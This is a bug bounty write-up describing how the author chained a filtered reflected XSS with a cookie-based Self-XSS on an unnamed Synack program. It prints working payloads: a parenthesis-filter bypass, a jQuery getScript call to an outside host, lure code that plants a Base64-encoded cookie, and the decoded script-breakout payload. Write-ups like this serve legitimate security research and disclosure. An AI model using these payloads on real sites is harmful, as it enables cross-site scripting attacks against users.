Cookie Based Self-XSS to Good XSS

Last month I was accepted into Synack Red Teams private bug bounty platform and I ended up discovering a reflected XSS vulnerability in one of their programs. Due to the private nature of Synack bug bounty programs I will not be mentioning the target in this writeup, however I will demonstrate how I defeated a number of different limitations I ran into. I was initially awarded $272 for my find as I couldn’t prove that I had access to the Document Object Model also known as DOM. The reason I couldn’t access the DOM was because the parenthesis characters were being filtered and as a result I couldn’t execute a payload such as:

alert(document.domain)

Normally this JavaScript function would result in the following execution demonstrated in the screenshot below.

Execution of alert(document.domain) demonstrating DOM Access
alert`document.domain` 

Since the parenthesis characters were being filtered I had to use ` characters to execute my function. Unfortunately, when the following function is executed you do not have DOM access which is demonstrated in the screenshot below.

I submitted the report and was rewarded $272, however I was told that if I can achieve DOM access I would be awarded a bonus so naturally I took up that offer which turned out to be a rather fun challenge. I spoke to Brutelogic (Brute) and asked him if he knew any techniques to bypass this limitation and he told me to reference his XSS Cheat Sheet PDF document. While reading the document I came across the following payload listed below:

setTimeout`alert\x28document.domain\x29`

This payload achieved DOM access which was exactly what I needed. I resubmitted my new payload which demonstrated DOM access and I was awarded an additional $60 to my previous payout. However, I wasn’t done just yet. Earlier on I discovered a Self-XSS on a different subdomain that was in scope for the bug bounty program. This XSS occurred by placing a Base64 encoded XSS payload into a parameter in the session cookie. Typically cookie based XSS vulnerabilities aren’t exploitable unless an attacker can set a cookies value. Luckily I already had an XSS vulnerability that I mentioned above. However, I did have one limitation which was that my payload couldn’t be too many characters otherwise it would fail. I knew that the JavaScript I needed to execute to get this attack to work successfully would have to be embedded from an external JavaScript file because it was just simply too long to work successfully. I also couldn’t seem to embed the external JavaScript file that contained the payload to set a proper cookie, because that was too long to work properly. However, I noticed that the vulnerable page was using jQuery which allowed me to embed a script that was short enough to successfully execute. Here’s the successful code that I used:

$.getScript`//xss.example.com/xss.js`

Now, all I needed to do was host the JavaScript file which would set the vulnerable cookie parameter to a Base64 encoded payload. The code I used looked something like this:

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
}

The code posted above essentially replaces the webpage with header text that says “Click the button below to continue.” with a button underneath. When the victim clicks the button it sets the vulnerableCookie value to the following Base64 encoded string:

LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v

The Base64 encoded string decodes to the payload below, which is then reflected onto the vulnerable webpage.

--></script><script>alert(document.domain);//

In conclusion, I thought that this was a very interesting vulnerability chain and I had a lot of fun finding bypasses for the various limitations that I ran into during the process. In the end I was rewarded $616 for turning this Self-XSS into an exploitable XSS in addition to the $272 + $60 which made this vulnerability chain possible.